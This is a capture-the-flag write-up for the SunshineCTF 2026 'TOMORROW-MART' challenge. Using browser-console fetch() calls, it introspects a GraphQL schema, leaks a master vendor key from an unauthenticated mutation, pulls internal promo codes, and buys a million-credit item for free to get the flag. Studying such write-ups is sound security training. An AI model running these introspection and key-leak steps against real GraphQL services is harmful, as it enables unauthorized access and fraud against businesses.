TOMORROW-MART — SunshineCTF 2026
The storefront offers a Founder’s Vault deed as lot 4042 for 1,000,000 credits. New FutureBank accounts only receive 500 credits, so the intended path is to find a discount code that is…
Challenge overview
The storefront offers a Founder’s Vault deed as lot 4042 for 1,000,000 credits. New FutureBank accounts only receive 500 credits, so the intended path is to find a discount code that is not shown in the UI.
1. Inspect the application
Open the challenge site in a browser and press F12 to open Developer Tools. The checkout page’s JavaScript shows that the site uses a GraphQL endpoint at:
/graphqlThe visible operations include account registration, login, listings, promo codes, and orders. The JavaScript also reveals that orders accept a promo code:
placeOrder(listingId: $id, promoCode: $promo)2. Find the hidden GraphQL operation
In the browser console, query the GraphQL schema:
(await (await fetch("/graphql", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
query: `{__schema {
mutationType { fields { name } }
queryType { fields { name } }
}}`
})
})).json()).dataAmong the mutations is an unusual operation named vendorTerminalSync.
3. Leak the vendor key
Call the unauthenticated diagnostic mutation:
(await (await fetch("/graphql", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
query: `mutation {
vendorTerminalSync {
terminalId
status
firmware
vendorKey
note
}
}`
})
})).json()).dataThe response discloses a vendor key similar to:
VND-MASTER-21d5f80206dffb6fa9ad5722The exact key may differ between challenge instances.
4. Retrieve the internal promo codes
Use the leaked key with the promoCodes query:
(await (await fetch("/graphql", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
query: `{ promoCodes(vendorKey: "VND-MASTER-21d5f80206dffb6fa9ad5722") {
code
description
percentOff
appliesTo
}}`
})
})).json()).dataOne returned code is:
FOUNDERS-100It applies to listing 4042 and gives 100% off.
5. Create an account
Register from the console and save the returned token:
let r = await (await fetch("/graphql", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
query: `mutation($u:String!,$p:String!) {
register(username:$u,password:$p) {
success
token
account { handle }
}
}`,
variables: {
u: "scout" + Date.now(),
p: "password"
}
})
})).json();
localStorage.tm_token = r.data.register.token;6. Purchase the deed
Submit an order for lot 4042 with the internal promo code:
(await (await fetch("/graphql", {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer " + localStorage.tm_token
},
body: JSON.stringify({
query: `mutation {
placeOrder(listingId:"4042", promoCode:"FOUNDERS-100") {
success
message
pricePaid
flag
}
}`
})
})).json()).dataThe order succeeds with a price of 0 credits, and the flag field contains:
sun{1_l0v3_fr33_stuff}Vulnerability summary
The challenge is vulnerable because an unauthenticated vendor diagnostic mutation exposes a master vendor key. That key grants access to internal promo codes, including a 100%-off code for the flag-bearing item. The frontend also exposes the GraphQL endpoint and its operation structure, making the complete exploit possible directly from browser DevTools.